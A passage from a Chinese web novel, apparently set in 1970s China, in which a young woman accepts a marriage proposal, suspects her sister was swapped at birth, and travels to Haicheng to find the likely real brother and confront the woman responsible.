白妈妈看向这个昔年的朋友，摇头：“条件是好，但人家娶她也不是因为喜欢她。” 这种婚姻，白妈妈觉得不会长久。 “那总好过嫁给街溜子，没钱没权，日子过得苦哈哈啊！” 钱春云这话乍一听还有点道理，白兰却觉得这人的思想跟白苹还挺对味儿的。 白妈妈好像也察觉到 了这一点，没再说什么。只听钱春云继续在那帮忙分析。 白兰见状，拉着许建北走远一点，不太想听这些。 不过等他们在外头转悠了一圈回来，正好就看到钱春云依然在跟人聊天。不过这次对方的聊天对象居然变成了白苹。 两人有说有笑，瞧着还挺有共同语言的。 白兰没有凑过去细听，但还是能听到钱春云在劝白苹跟家里人处好关系云云。 这种话太啰嗦了，白兰没听。许建北也贴心地拉着她往大杂院的方向走。不过他在离开前，视线扫了一下两人。总觉得这两人有哪里怪怪的。 —— 无论家里的反应怎样，宋厂长一家三口还是在第二天傍晚的时候，拎着礼物上门来了。 这一次上门，主要是双方家长见个面，聊聊结婚的一些安排。 单看这一点，宋家还是挺重视白苹的。 但白家人都知道，他们这不过是做给外人看的。白兰更是通过许建北，知道宋家的情况开始好转了。这得益于他们到处宣扬要娶白苹有关系。 外人不知道白苹的底细。只知道白家根正苗红。宋家跟这样的人家结亲家，自然不会有任何思想问题。 “白老弟，白老弟。早就想上门来了。咱两家之前的缘分不够，这一次的缘分可够够的。” 白兰在廊下跟秦艳一起，听到这话，嘴角抽了抽。 当初两家因为她的拒绝，闹了不少事情。这会儿一句缘分不够就盖过去了，也真是没谁了。 秦艳伸手拍了拍白兰：“哎，你三姐还真厉害。看这宋厂长夫妻两够客气的。” 大杂院其他邻居得知宋厂长一家上门后，一个个都往他们这边伸脑袋。听到这话忍不住跟着点头。 白兰注意到白苹的表情，那也是一副骄傲的模样。 得了，这事儿反正家里人都看开不管了。白苹爱咋的咋的。白兰巴不得对方赶紧嫁出去。这两天白苹住家里，跟她一个房间，太让人不习惯了。白兰甚至都想学着许家那样，弄块木板，把她跟白苹的床位隔开。 里头还在假模假样地聊着。外头的邻居越聚越多。今天出门去喝亲戚喜酒的钱春云，不知道什么时候回来了。也凑到他们这边来看热闹。 白兰看她一副感兴趣的模样，只觉得这人也挺八卦的。 等宋家一家三口离开后，这人更是立刻走进她家，直接拉着白妈妈就讨论起两家结亲要准备什么。 —— “真的，今天我去我那亲戚家，她那女儿嫁人可真风光。三大件就不说了，光是被子就陪嫁了十床。还有压箱底的五百块钱。啧啧，爱红，到时候你家小苹准备给她多少？” 宋家人过来，谈了一下他们准备的彩礼。就有三大件跟五百块彩礼钱。 白兰觉得这人还挺多嘴的。不是说跟她妈是好朋友吗？这时候凑过来插嘴人家家里的事情，真没礼貌。 白妈妈不好开口赶人，白爸爸更不好赶人。最后还是白大姐直接把钱春云请了出去。 对方也没意见。笑着跟白家人点头，这才慢悠悠走了。 白兰觉得这人可真烦人。不过人家在海城定居，估计这两天就走了。所以家里人也没说啥。 白苹自然接过刚刚钱春云的话，立马跟家里争取自己的嫁妆。 白爸爸失望地看着她：“你以为家里会贪你那点彩礼吗？之前你大姐出嫁的时候就说过，以后你们姐妹四个，男方送来的彩礼全部会当成嫁妆给你们。另外家里会给添一百块作为压箱底钱。你们姐妹四个都是一样的。不会偏心谁，更加不会打压谁。” 白苹见她爸这样说，表情讪讪点头，不吭声直接出去了。 人一走，白妈妈叹息摇头。 白兰跟白大姐对视一眼，都觉得白苹赶紧嫁人得了。不然一天天的，家里的气氛都被她搞坏了。 —— 很快，邻居们就都知道宋家人过来说的彩礼有多少。也知道了白爸爸承诺的嫁妆又有多少。 一时之间，白苹成为了女人们羡慕的对象。 彩礼嫁妆加起来，白苹一下子就比好多人奋斗一辈子还要富裕。 许建北也不免被大妈们拉着调侃，问他彩礼准备得怎样。不能被宋家给比下去了。不然，白兰不要宋家，而选你老许家，那就是大损失了。 外头这些话被白兰听到后，她瞬间无语。 老许家听说也闹了些动静出来。 白兰从许建北这里听说后，更加不知道该说啥好了。这白苹的事情，每次都扯到自己这里来，真是让她恶心。 但很快，白兰就发现了自己终于不用恶心了。 —— 三天后，是宋家上门来送彩礼的日子。 因为宋家着急，想早点把名分定下来。所以跟白家商量后，动作相当迅速。叫了一台大货车，带着中间人就把彩礼全送过来了。 崭新的自行车、缝纫机跟录音机展现在大杂院里，让邻居们啧啧称奇。好多未婚的女娃，都在那喊嫁人就要像白苹那样风光。 白苹那嘚瑟的表情，让白兰差点以为她这是成为了世界首富。 许建北作为一个对照组，自然又被人拉来对比了了一番。 “我以后也给你准备这样的。”许建北看着那被人艳羡的三大件，看向白兰。 白兰摇头：“自行车咱两一人都有一台了，别再买了。缝纫机可以有，录音机你自己也有一台。再买就浪费钱了。还不如把钱用来买别的。” 许建北想了想，趁着外头人多，拉着白兰到了自己的屋里。 “怎么呢？” 白兰好奇许建北这个举动。往日这家伙可不会单独拉自己到他屋里的。就怕被人看到，把她的名声弄得不好听。 许建北指了指放在墙角的一个樟木箱子。然后拿了一把黄铜钥匙出来：“箱子里面的东西都是送给你的。” 白兰知道这箱子，当时搬家就有搬过来。听说是从旧货市场弄来的。不过她也不知道里头装的是什么。 “那我真打开看看哦！” 许建北点头：“开吧！本来准备过段时间再给你一个惊喜的。” 想到自己这些天一直琢磨的事情，许建北觉得择日不如撞日，就今天得了。外头的人老是拿白兰跟白苹做对比，说白兰没有白苹有福气。这些话他听了相当不舒服。他不是厂长的儿子，但能给白兰更好的生活。 白兰不知道许建北的盘算。用手上的黄铜钥匙打开木箱。只听得咔嚓两声，古老的铜锁被打开。 她掀开木箱的盖子，映入眼帘的是两个做工精美的木盒子。 木箱里面套木盒子，搁这儿套娃来了。 白兰脑子忽然闪过这句话，接着自己先笑了出来。 许建北赶紧凑过去，以为白兰是高兴自己送的礼物。结果一看木盒子还没打开，他有点疑惑。但想到盒子里面的东西，他耳朵有点红了起来。干咳两声，亲自过去，拿出其中一个木盒子。 “看看，喜不喜欢？” 映入眼帘的是一套十分好看的红宝石首饰。项链、耳坠、手镯、戒指一个不少。每个首饰上头镶嵌的红宝石，光彩夺目不说，个头都快有龙眼大了。 白兰震惊地捂住嘴巴，瞪大双眼看向许建北。 都说七十年代遍地黄金翡翠宝石，一袋大米就能换来。但白兰亲身经历过了，这些东西可能真能换。但人家不会找白兰换。所以，她到了这里小半年了，也没捡漏过什么东西。 没想到许建北居然会送这么一套贵重首饰给自己。 白兰震惊过后摇头：“这东西太贵重了，我不能……” “你能……” 许建北说着，拿起戒指就递到白兰跟前。 这时候其实并没有说结婚就要带戒指求婚什么的。许建北也是因为手里要托着盒子，所以直接拿最轻便的戒指出来。 但白兰却立马想到了结婚。随即开始紧张起来。 许建北敏锐察觉到了白兰的异样，相当果断地把手里的盒子放到桌上。然后一手牵着白兰的手，一手拿着戒指把人带到椅子坐下。随即蹲下身来，双手举着那硕/大的红宝石戒指，双目炯炯有神地看着白兰。 “我知道我们认识还不到半年，可能互相还不够了解。但是，我每次看到你都想跟你说话，看不到你更加想 跟你说话。跟你在一起，我会很激动又会很安心。我想，这就是书中诗人们说的爱情。” 这话其实挺土的。但白兰看着许建北那双亮晶晶的眼睛，忽然就明白了什么叫怦然心动。 许建北见状，笑着把举着的戒指又往白兰跟前递了递。 白兰嘴角的笑容再也压不住，她伸出了自己的手。 许建北立刻接住，随即把戒指套进了白兰的手指。 戒指严丝合缝，仿佛是特意为白兰打造的。 白皙的手指，配上红宝石戒指各位得好看。 许建北忍不住在白兰的手背印上一个浅浅的吻。 手背上温柔的触感传来，白兰双手捧着许建北的脸，微微低头。把自己的唇印上了对方的唇。 外头热闹非凡，人人都在羡慕白苹的嫁妆丰厚。 屋里安静祥和，充满粉红色的泡泡到处飞舞。 —— 白苹穿着一身新作的呢子大衣，站在家门口，迎接众人艳羡的目光。 但是，她并不满足。她最想看到的是白兰那后悔的样子。 可惜，她无论怎么找，都没能在院子把白兰找出来。 “该不会是太后悔，躲哪来哭去了吧！” “小苹，你说什么？” 白苹摇头：“钱阿姨，今天真是谢谢你了。” 这钱阿姨人还挺好的。知道她爸妈不太乐意这门亲事。今天一早就过来帮忙了。那热心劲头，比自家爸妈还要上心。这更加让白苹对父母不满起来。 都说疼自己，说什么从小疼到大。但是自己一辈子就结婚这么一次。这彩礼也不丢份啊，爸妈两人怎么就不能热情高兴一点呢！ 旁人看了，怕要以为他们家对宋家有意见了。 自己以后可是要在宋家生活的，得罪了宋家，那不就是让自己未来在婆家不好做人嘛！ 想到这个，白苹对父母的怨念就越发深了起来。 而且，白兰这个该后悔的人，居然一直都不出现。 没错，白兰一直都没出现。直到吃饭的时候，才出现在院子里。 家里她妈在喊吃饭，白兰急匆匆往家里走。走到廊下跟从家里出来的钱春云撞了个正着。 “哎，钱阿姨不好意思，你没事吧！” 钱春云摇头：“没事儿。你家要吃饭了。阿姨也要回家了。今天你三姐的彩礼送来，一个上午都不见你的踪影。待会儿回去好歹跟你三姐道个歉。人一辈子就这么一次当姐妹的机会……” 白兰今天心情好，不跟钱春云计较。但也不想听她说教，转身就往家里走。 钱春云见状直摇头。心想白家两口子还是不太会教孩子。 白兰不知道钱春云在说自己。反正她一副笑眯眯的样子进了家门，立马就看到白苹脸色不太好看。 她也当没见到一样，笑眯眯地过去抱着自家妈的胳膊。 “怎么呢？捡到钱啊！” 白兰继续笑：“比捡到钱还要高兴……” 白妈妈见小闺女这个样子，终于也跟着笑了起来。 “好了好了，准备吃饭了。” 白爸爸见这母女两高兴，自然也跟着乐呵起来。 白兰准备起身过去帮忙摆饭。不过脚一动，踢到了什么东西。她弯腰一看，脸色瞬间大变。 第35章 第35章身世疑云 “哎，你们得了多少任务啊？” 伴随着哐当哐当的火车声音，车厢里响起了一道年轻的声音。 “别说了，七大姑八大姨，整条胡同的邻居，都托我买东西。都不知道海城的东西好买不？” 这人说着，看向一直在跟白兰说话的许建北：“建北，你小子这一趟过去要买的东西更多吧！” 许建北笑着应道：“昌盛那才叫夸张。他那楼里好些人托他买东西呢！” 一直在边上跟人打扑克牌的曹昌盛，听到这话叹气：“哎，别说了。都不知道哪个多嘴的，把我要去海城的事情说了出去。今天一早还没出门，就被人给堵住了。” 想到这个场景，车厢的众人哄堂大笑起来。 白兰见状也跟着笑。但心中多少有些沉重。主要是她这一趟去海城，其实带着一个重要的目的。 说起来，谁能想到自己穿越过来后第一次前往海城这个大城市，居然是因为一个超级狗血的理由。 白兰叹气。但想想如果这一趟能够确定自己的猜测。那么笼罩在家里上空的阴云，将会全部消散。 这样一想，她又忍不住乐呵起来。 许建北跟同事们闲聊了几句，转头见白兰这表情，也忍不住跟着笑。 这让同车厢的其他人啧啧称奇。曹昌盛更是小声跟身边的人吐槽：“也就建北这小子有福气。出个长差还能有对象陪着。” 没错，这一个车厢的乘客，不是螺丝厂的，就是钢铁厂的。他们受到海城机床厂那边的邀请，过去帮忙调适一批新机器。这一行人中，白兰就认识曹昌盛。 —— “建北，白兰这一趟怎么跟着一起来？” 趁着其他人都在聊天打牌，曹昌盛小声询问起来。想到白兰跟着一起上车的场景，曹昌盛这会儿还觉得莫名其妙。 许建北看向白兰，见她正在看窗外的风景，小声解释：“临时决定的。她有事要去海城一趟。刚好咱也要去，就找人弄了一张票一起过来了。到了那边，她也跟着我们住机床厂的招待所。不过钱我们会另外付。” 见许建北什么都安排妥当，曹昌盛也没再打听。转而继续跟人吐槽这一趟出差，到底要带多少东西回去。 也有人开始聊起这一趟的任务内容。因为大家都是技术工人，很有共同话题。瞬间，车厢越发热闹起来。 许建北注意到白兰这边冷冷清清，就示意曹昌盛去找旁人继续聊。自己则是坐回了白兰身边。 这让曹昌盛忍不住羡慕起来。想想自己也挺优秀的啊。怎么就还是单身一个呢！ “怎样，是不是很无聊？” 白兰摇头：“第一次出远门呢，还是挺有趣的。” 许建北小声道：“等下了火车安顿好，我这边会尽量抽时间陪你去跑。” 白兰再一次摇头：“不用，你们任务比较重要。我这个事情，说白了就是一个确认而已。确认了猜测，就可以直接跟家里说了。” 许建北想到那天白兰拿着一张照片跑来找自己的样子，也跟着叹息了一下。 宋家往白家送彩礼的那天，他给白兰送了精心准备的礼物，询问白兰是否愿意跟自己共度一生。得到肯定的答案后，许建北真是高兴得快要飞起来。要不是白家要吃午饭，他都舍不得让白兰离开。 只是高高兴兴回家的白兰，在几分钟后着急忙活地跑回来找自己。那一刻，许建北是真被吓到了。 当他看到白兰手里拿着的照片后，那就更加惊讶了。 那张照片是一张既普通又不普通的照片。说它普通，因为这是一张一家三口的合照。说它不普通，是因为照片上的三人，一个中年男人他们不认识。中年女人则是钱春云。而站在这两人中间的，是一个年轻的男人。 这个年轻的男人长得十分眼熟。去过白家，见过白兰姥姥家大部分成员的许建北，一眼就认出这年轻男人，跟白兰的大舅、二舅、表哥都有相似的地方。 不说十分像，但也有六分像了。 白家父子兄弟的五官都有类似的地方。站一起一看就是一家人。而照片中的年轻人，也给人类似的感觉。 到了这里，许建北其实已经察觉到不对劲。 而作为一个现代人，白兰更是第一时间就脑补出了一起真假千金，换子疑云来。 这能很好地说明，为什么白苹的三观，跟家里会这样格格不入。也能说明钱春云对白苹那些无端端的热 心。 哦对了，还有钱大妈。钱大妈也特别关心白苹。 有了质疑，白兰翻遍了记忆，想起从小到大，好像钱家老两口就对白苹比较好。大杂院那么多孩子，愣是只对白苹好。所以，用老人喜欢孩子来解释不成立。 而且，因为有了这个疑问。白兰在跟许建北商量过后，就让对方去跟他妈打听当年白苹出生时的情况。 而白兰这边也没闲着，立马就跟她爸妈旁敲侧击。之后更是在第二天就找机会，跟许建北一起跑了姥姥家一趟。问了姥姥一些问题，之后更是跟姥姥要来了大舅、二舅的照片。 确定信息，要到照片后，两人商量一番，决定今天趁着许建北出差海城的机会，一起坐车前往海城。直接去找照片上的人来确定猜测是否正确。 至于钱春云这人，在前两天已经先一步坐货车回海城了。 “反正到了海城安顿下来后，我这边会尽快把工作完成。你到时候小心点，有什么事情都要跟我商量……” 虽然海城是个大城市，不会有什么危险。但许建北还是觉得担心。 白兰笑着朝许建北那靠了靠：“不用担心，到了那边安顿好，我还要先去纺织厂打听呢！” —— 说是打听，其实并没有多少难度。 来之前她已经跟她妈问好了，钱春云的男人是海城纺织厂副厂长。这个纺织厂是个万人大厂。但因为是副厂长家，其实特别好打听。 所以白兰在到了海城安顿好后的隔天，就直接跑到了纺织厂。 纺织厂作为万人大厂，里头供销社、国营饭店、子弟学校这些公共实施，应有尽有。 白兰直接在生活区走动，很快就从菜站、供销社这些地方，打听到了不少钱春云婆家的消息。 钱春云嫁的男人叫方立业，当年两人结婚的时候，对方已经是纺织厂的主任。经过这些年的努力，方立业已经是副厂长。 这听起来就跟白苹现在要走的路线挺像的。唯一不同的是，方立业是个二婚头，比钱春云要大10岁。据说跟他妻子离婚一个月后，才娶的钱春云。 打听到这个后，白兰心中多少有了些猜测。 方立业跟前妻有个儿子叫方保国，今年都30岁了。而钱春云的儿子方保卫只有20岁。跟白苹一个年纪。 当然，白兰打听的时候，还特意把那张照片拿了出来。确定自己没有搞乌龙。 打听到这些基本信息后，白兰心中更加有把握了。十有八九，这个方保卫才是自己的哥哥。而白苹，则是钱春云的女儿。 用自己的女儿换人家的儿子，为了什么不言而喻。 这样一想，白兰的拳头都硬了。特别是钱春云这女人，在没结婚前，跟她妈是公认的好朋友。 呵呵，这样的朋友，真是给她半个都嫌多。 —— 打听到自己想要的消息后，白兰准备找个地方休息一下。晚点直接去厂里找方保卫。对方也在纺织厂工作，是个技术工人。听说干得很不错，未来前途无量。 白兰还特意打听了一下方保卫的风评，发现都是赞扬居多，她的心就安了下来。是个不惹事的就挺好的。 这样想着，白兰看了看手表，发现已经上午十一点多，干脆走到国营饭店，准备吃个饭再说。 这个点的国营饭店人不多，白兰直接找了张桌子坐下就吃了起来。 结果没吃两口，就看到有好几个男人说说笑笑走了进来。白兰坐角落也没在意。不过很快就从这些人的谈话中，知道他们都是纺织厂销售部跟采购部的人。 “机床厂那边来了好几台进口的机床。正到处安排人去观摩调适。” 这事儿是跟许建北他们这次任务有关的，白兰就竖起耳朵听了起来。 这才知道这些机床里面，除了有打螺丝用的自动机床，还有纺织机床。所以纺织厂这边也要安排技工过去看看。 这可是一个好机会。说不定许建北比自己还要早能见到方保卫。 就在白兰这样想的时候，就看到两个一瞧就是领导的男人小声说话：“老方，你家那个便宜弟弟，这一趟应该也会去吧！” 方保国抿了抿嘴唇，点头：“那小子还是有点料的。”多的话他也没说。他是不喜欢那小子，但也不会在外人面前表现出来。老头子这个副厂长的位置还是要坐稳，才对他最为有利。 白兰这下已经不知道该说什么了。 随便吃个饭，居然就碰上了方保卫同父异母的大哥。钱春云的继子方保国。 这个世界还真是小啊！ 发出同样感叹的人还有许建北。 昨天下午到了海城后，他们一行人就在机床厂的招待所安顿下来。第二天一早就一起来到机床厂，见识那几台进口机床。 到了地方，除了他们还有不少技术工人，都是海城以及周边城市的。大家来这里，除了工作就是技术交流。 而在这些人中，许建北第一眼就看到了照片上那个年轻男人方保卫。 第36章 第36章真相 “兰兰，这是方保卫同志。是我在机床厂认识的新朋友。” “保卫兄弟，这是白兰同志，我对象。” 机床厂国营饭店里，许建北正在给白兰介绍自己跟方保卫认识的经过。 “保卫那技术相当精湛。跟我们北边的还有些不一样。” 方保卫有点不好意思：“其实建北你的技术才厉害。那么精密的机床，你一眼就看懂了里头的关窍。” 白兰坐在那听着这两人互相夸赞对方，心里觉得有点好笑。没想到许建北出去一天的功夫，就认识了方保卫，而且还跟对方处得这样好。 “我就不想来打扰你们的……”方保卫跟许建北聊了好一会儿，见白兰一直笑眯眯坐在那。后知后觉发现自己好像当了电灯泡。 他也没想到今天去机床厂，居然能够认识这样谈得来的朋友。两人的技术师从不同的方向，但殊途同归。 白兰摆摆手：“没事没事。建北来这里能认识新朋友，高兴还来不及呢！” “哎哟哟，果然是你们啊！” 曹昌盛不知道从哪里冒了出来，一把坐到许建北身边：“我就说一下班见不到你小子的人影。这是来约会啊！” 说完，他这才发现了方保卫。今天机床厂人多，他没跟许建北一块儿。这会儿见到方保卫，好奇看了对方几眼。随即皱眉，小声跟许建北嘀咕：“这是白兰家的亲戚？” 许建北摇头。白兰的表哥来过大杂院几次。曹昌盛也碰到过。所以这会儿应该是觉得方保卫跟白兰表哥长得像呢。 曹昌盛是个人精，多少猜到哪里不对劲。他也没问，笑哈哈地跟方保卫搭起话来。一时之间，饭桌上越发热闹了起来。 —— “看着是个实诚人。” 吃过饭后，四人分开。白兰跟许建北走在回去的路上，说着自己对方保卫的印象。如果她的猜测没有错，方保卫是自己的哥哥。 许建北点头：“一起在机床厂的就有好几个纺织厂的人。对他的风评都挺不错的。但是方家好像也不太平。” 白兰点头，把自己打听到的消息也说了出来。 年长位高的爸，年轻的继母，能干的继子，刚出社会的亲儿子。这样的组合，里头肯定是有故事的。但具体是什么，暂时没能打听出来。 “唯一可以确定的是，方家大儿子跟钱春云母子关系不太好。” “那你要回去不？” 许建北拉了拉白兰的手。这一趟白兰出来，是想亲自确定方保卫这个人的存在。见了真人，虽然没有任何证据，但几乎可以确定方保卫跟白兰有亲属关系。 白兰：“暂时不回去。我请了一周的假。既然人见到了，这几天就辛苦你跟方保卫多往来。我这里继续去纺织厂打听。顺便找时间去逛逛海城。” 最重要的目的达到后，白兰整个人轻松了不少。终于有心思购物了。 “对，钱票不够的话，就去我那拿。咱两结婚的东西，这一趟就可以买回去。三哥之前结婚的家具，就是在这里买得……” —— 接下来几天，许建北在工作之余，跟方保卫往来越发多了起来。甚至两人组成一个小组，一起攻克一台新型纺织机床。 而白兰这边也没闲着。在纺织厂生活区来回多次后，终于打听到了一些方家的事情。 比如，钱春云当年跟方厂长是在北城认识的。那个时候，方厂长还是方主任，被海城纺织厂派到北城第一纺织厂，帮忙建立一条生产线。 没错，这个第一纺织厂就是大杂院大部分人工作的厂子。 打听到这个后，白兰就不奇怪为什么一个北城姑娘，会嫁给一个年龄相差十岁的海城男人了。 钱春云在没嫁人前，就在第一纺织厂当纺织女工的。 至于方保卫，是在钱春云回娘家的那段时间出生的。方保卫出生的日期，跟白梨、白苹这对双胞胎是在同一天，同一家医院。 这该死的巧合。 白兰打听到这些后，简直要怀疑这里面到底有多少是巧合，多少是人为了。 而做出这种事情的人，必须付出代价！ 白兰是个行动派。确定了想法后，终于在来海城的第六天，也就是许建北休息日那天，让许建北把方保卫喊了出来。 —— 纺织厂大门口，方保卫疑惑地看向许建北。 “好不容易放假了，不跟你对象出门，来找我干嘛呢？” 这话过于直接，许建北听完有点想笑。心想这位大舅子说话还挺直愣愣的。 “就想请你当个向导，给我们带个路，转转海城。” 方保卫看向不远处站着的白兰，有点子不好意思起来。主要是他这人不太会跟女同志相处。虽然跟白兰同桌吃过一次饭。知道这女同志跟许建北一样，是个健谈的。 许建北看出了他的想法，笑笑：“这不是我跟白兰快要结婚吗？准备去旧货商店淘淘看有没有什么好东西。” 海城的旧货商店听说有很多民国时期的东西。白兰对这些挺感兴趣的。今天喊方保卫出来，是想着跟对方一起走走。再观察观察对方的性格人品。也让对方对他们有更多的认识。之后再敞开来谈事情就比较容易。 方保卫听罢倒是立刻点头。这结婚是大事情。他能帮上忙相当乐意。 “那行，我们现在就去。旧货商店这个点开门了。还别说，之前我们小组就有人淘到一个民国的音乐盒……” 路上，白兰听方保卫说着那些个淘宝的事情，觉得还挺有趣的。本来以为对方是个寡言的。没想到打开话匣子后，那么健谈。 旧货商店距离纺织厂并不远。三人走路十多分钟就到了。 说是旧货商店，其实就是一个单层的红砖瓦房。有点类似库房，里面有一些柜台。每个柜台都放了不少东西。 这些东西有些是人家送过来卖二手的，有些是抄家弄回来的。不过甭管来源是啥，这里是个公家单位。所以买东西挺正规的。都有标价，都能开票。具体能买到什么东西，就看自己的眼力了。 白兰有了许建北送的那套红宝石首饰，以及一盒子的各种首饰。对捡漏没多少执念。不过，还是挑了两个不打眼的白玉手镯。这时期的白玉并不值钱。两个品相不错的手镯，白兰也就花了五十块钱。 这让她觉得挺高兴的，有种赚大发的感觉。 许建北则是挑了一个民国时期的音乐盒。白兰看到乐了：“你这是刚听说了音乐盒的故事，还没过瘾啦！” 许建北笑笑：“这东西还挺别致的。” 两人有说有笑的时，都没顾得上方保卫。所以，当听到方保卫跟人争执的声音时，两人齐齐愣了愣。 —— “大嫂，你不要随便拿个破烂东西就来碰瓷。” 循着声音看过去，就看到方保卫跟一个穿着工作服的中年女人说话。语气听起来十分生气。 许建北跟对方相处了六天，知道这人的脾气一直都挺好的。现在这样，估计是真被气到了。 他拉着白兰赶紧走了过去。 “发生什么事情了，保卫。” 许建北这一出现，立刻吸引了中年女人的视线。 “哟，小弟。你这是哪里来的帮手啊！” 白兰注意到这女人的称呼，立马想到之前打听过的消息。方保卫的大嫂就在旧货商店工作。但旧货商店那么多个，没想到对方居然就在这里工作。这可真是…… 方保卫不满对方的语气：“东西都不是我要你拿的。我不过是走过来，你就把这花瓶拿出来大喊我弄坏的。你当谁是傻子不成？” 方大嫂：“你说我拿出来就是坏的？谁看到呢？我还说就是你让我拿的。花瓶你还碰了一下。一时松手就把花瓶碰了一条裂缝……” 旧货商店这个时候人不多，这个柜台又在角落。还真没人注意到这里。 方保卫显然也被大嫂的无耻给气到了。还要继续说话，却被许建北拦住了。 白兰这时候站了出来，拉了拉许建北，示意这一次让自己来。 许建北点头，直接站到了白兰身侧。一副要做白兰坚实后盾的意思。 方保卫见状，立刻也跟着站了过去。 方大嫂被三个人围着，有点慌乱。但这里是她工作的地方，周围都是同事。于是她大喊了起来。很快，好几个服务员都跑了过来。 “干嘛，干嘛，来这里闹事。” “是不是闹事，应该问问你们的同事。” 白兰直接指着方大嫂，对着一个领导模样的男人说了一下事情的经过。顺便提了提这个中年女人跟方保卫的私人关系。 男人一听这关系，立刻想起了方大嫂家里的情况。脸色不好看起来。 方大嫂一点都不怕，嘴硬道：“就是他碰坏的。这花瓶上面的裂缝就是证据。” 白兰冷眼瞧着对方耍赖。见她嚎叫地差不多了，才说道：“这位大妈，你一直说是方同志弄坏的，嚷嚷着要他赔钱。要是我能证明不是他弄坏的。那这花瓶的钱是你赔吗？” 方大嫂一愣，直觉摇头。但白兰已经不跟她对话了。而是看向那个领导：“还是那句话，东西不是方同志弄坏的。我能证明他是无辜的。但是，你们的服务员诬陷顾客。你们要怎么处理？” 领导本来就猜到了事情的大概。听到白兰的话，想打个圆场就算了。但见方大嫂还是头铁模样。终于说道：“只要证明花瓶不是这位同志弄坏的。那负责这个柜台的人服务员就会被罚款。而且，诬赖顾客太过分，单位会有处罚下来的。” 得到满意的答案后，白兰笑眯眯地说道：“那裂缝是条旧裂缝。缝隙间沾了不少灰尘。但凡你认真一点，都不会拿出来碰瓷儿！” 这话一出，众人齐齐朝那花瓶看过去。而方大嫂这会儿已经僵住了。 她是这个柜台的服务员，自然知道这花瓶早早就被自己弄坏了。所以一直没能卖出去。也是今天看到方保卫，她临时起意，想要让他难看，顺便把自己的锅甩出去。哪成想居然还能这样证明的。 白兰刚刚那话其实故意诈一诈对方的。现在见方大嫂一副紧张模样，就确定事情没跑了。 她也不说话，只笑眯眯看向那领导。 领导立马喊了两个女同志，上去就把那花瓶抢了过来。好几个服务员脑袋凑过去一看，果然就看到花瓶上有好几条陈旧的裂缝。 到了这里，大伙儿还有什么不明白呢。 干他们这行的，偶尔会弄坏东西，然后报损耗的。但这花瓶比较贵重。平时就放到柜台里面保管。说损耗只能是人为损坏了。这种损坏是要罚款的。 “这事儿是我们的员工有问题。我让她给你们道歉。” 白兰看向方保卫，问他接不接受。 方保卫点头，他也不是个搞事情的。要不是大嫂发疯，平时他都是躲着对方一家人的。 最终，方大嫂被迫道歉。后续据说被调离旧货商店，直接到回收站收废品去了。 当然，这些后续暂时白兰三人是不会知道的。这会儿三人从商店出来，方保卫脸上的笑容还没消失。 白兰看他一副扬眉吐气的模样，心想这方家内部的矛盾应该挺激烈的。 而方保卫也没瞒着他们两人，开始说起家里的事情。 “说白了，就是我大嫂故意找茬。这也不是第一次了。”说起家里的 状况，方保卫自己都无力。 他又不能阻止他妈嫁给他爸。也不能阻止自己的出生。所以大哥对他的敌意，时常让方保卫觉得心累。 大哥这还是隐约的敌意，但这大嫂嫁过来后，对自己就一直十分恶劣了。在外头老是说方家的东西以后都是他们家的。 其实方保卫还真不稀罕家里那些东西。他一个年轻人有手有脚的，又有一份正式工作。怎么着都能养活自己。以后结婚了也能养活家人。 但是，他也不会退让就是了。从小到大的经历告诉他，退让只会被人欺负得更狠。 对方一副轻描淡写的模样，但白兰知道没那么简单。就说今天这诬陷有够无聊的吧。但人家就是干得出来。而且如果不细心，只一味跟对方纠缠。很可能就被陷进去。 所以，方保卫在方家估计过得真不咋滴。 对比起白苹那团宠一般的日子，简直可以说得上糟心。 就是这样，白兰才更要快点把事情告诉对方。 —— 方保卫看着眼前的几张照片，怔愣在原地。好久之后，他才说道：“这……这……” 白兰跟许建北对视一眼，缓缓把自家跟钱家的关系，以及如何发现都说了出来。还有照片上的几个人，她也介绍了一遍。 方保卫还是觉得难以置信。刚刚那看到大嫂吃瘪的笑容，早已经消影无踪。 “我不信……” 白兰能理解。任谁拿着几张照片，跟你说你不是你妈亲生的，怕都会被人说神经病。 而他们跟方保卫认识了好几天，这才让方保卫下意识想要探听更多细节。 “我其实也不想相信的。但找到的这些信息告诉我，我的猜测是对的。当然，这个事情其实最重要的，还是要找当事人问个清楚明白。” 这才是白兰的最终目的。 直接找钱春云对峙，攻破她的防线，得知当年的真相。让对方付出应有的代价。 方保卫本性就是个直接的。刚白兰又挺身而出为他辩护。这会儿听到白兰的提议，他毫不犹豫就站了起来。 心中不想相信，但他知道眼前的两人不是无的放矢。 钱春云正在家里边听收音机边择菜。这家里平时就住着他们一家三口，那碍眼的继子早早打发了出去。钱春云十分满意这样的日子。 丈夫有钱有权，儿子聪明有出息。出去谁不羡慕自己啊。虽然男人比自己大十岁，又是个二婚头。但钱春云自认为凭借自己，能嫁给这样的男人已经是高攀了。 而且，前几天在北城她也过得很高兴。心里一直记挂的人又有了更好的归宿。无论是嫁妆还是婆家，都比当年的自己还要强。等到未来，说不定哪天，她就能说出真相。到那个时候，她也能认回自己的亲闺女。 想到这些，钱春云心情越发飞扬起来。跟着收音机哼着歌儿，钱春云想着再过几天闺女结婚，自己要想个借口，再跑一次北城才可以。 就在这个时候，房门被人敲响。 钱春云笑着高喊谁啊，然后就打开了屋门。 马上，笑容在她脸上凝固。 第37章 第37章好日子到头了 “你……你们……” 钱春云看着门外站着的白兰跟许建北，努力扯出一个笑容。 白兰看着对方僵硬的笑容，露出一个比钱春云灿烂十倍的笑来：“哎，钱阿姨你好啊！” 钱春云伸手哆哆嗦嗦：“你……白兰，你怎么来呢？” 白兰依然笑眯眯：“这不是来海城买东西，顺道来看看你吗？钱阿姨！怎么？钱阿姨你不欢迎？” 冷静，冷静。听到白兰这话，钱春云深吸一口气，努力让自己镇定下来。藏了二十年的秘密，她是不会让眼前这个小姑娘知道的。这可是关乎她未来的重要秘密。反正白兰也就是个十几岁的小姑娘，没见过世面，很好糊弄的。 这样想着，钱春云脸上的笑容真切了起来。 “那不能。这……这瞅着都要到饭点了。我带你们去外面吃饭……” 说着，钱春云就想关上家门，阻止白兰进家门。 然而，白兰怎么会如她的意呢！ 只见白兰满脸笑意地说道：“别着急，钱阿姨！我先跟你说一件事情哦！” 钱春云愣了愣，心想这白家小闺女脑子有毛病吗？怎么说话不一次说完。 白兰没管对方，只说道：“你说这个世界真是小啊！我这一来海城，居然就碰到一个年轻男同志，长得那叫一个像我大舅、二舅呢！” 听到这话，钱春云的心瞬间发紧。有种被人紧紧捏着的感觉。 